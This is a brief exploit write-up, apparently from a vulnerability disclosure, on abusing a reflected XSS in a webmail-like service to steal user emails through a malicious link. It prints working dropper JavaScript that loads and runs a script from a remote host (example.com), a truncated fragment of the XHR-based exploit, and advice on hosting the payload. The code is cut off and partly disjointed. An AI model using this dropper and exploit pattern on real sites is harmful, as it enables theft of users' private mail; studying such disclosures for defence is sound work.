Exploit
We use the second Reflected XSS to exploit this vulnerability, create a
malicious link, and steal user emails.

Dropper code
This dropper code, loads and executes JavaScript exploit code from a remote
server.

x = document.createElement('script');
x.src = 'https://example.com/exploit.js';
window.addEventListener('DOMContentLoaded',function y(){
  document.body.appendChild(x)
})//

                            document.body.appendChild(script_tag);
                        }
                    };
                    xhr3.send();
                }
            }
        };
        var body = JSON.stringify({isUnread: false});
        xhr2.send(body);

xhr1.send();


Combining dropper and exploit
You can host the exploit code somewhere and then address it in the dropper
code.
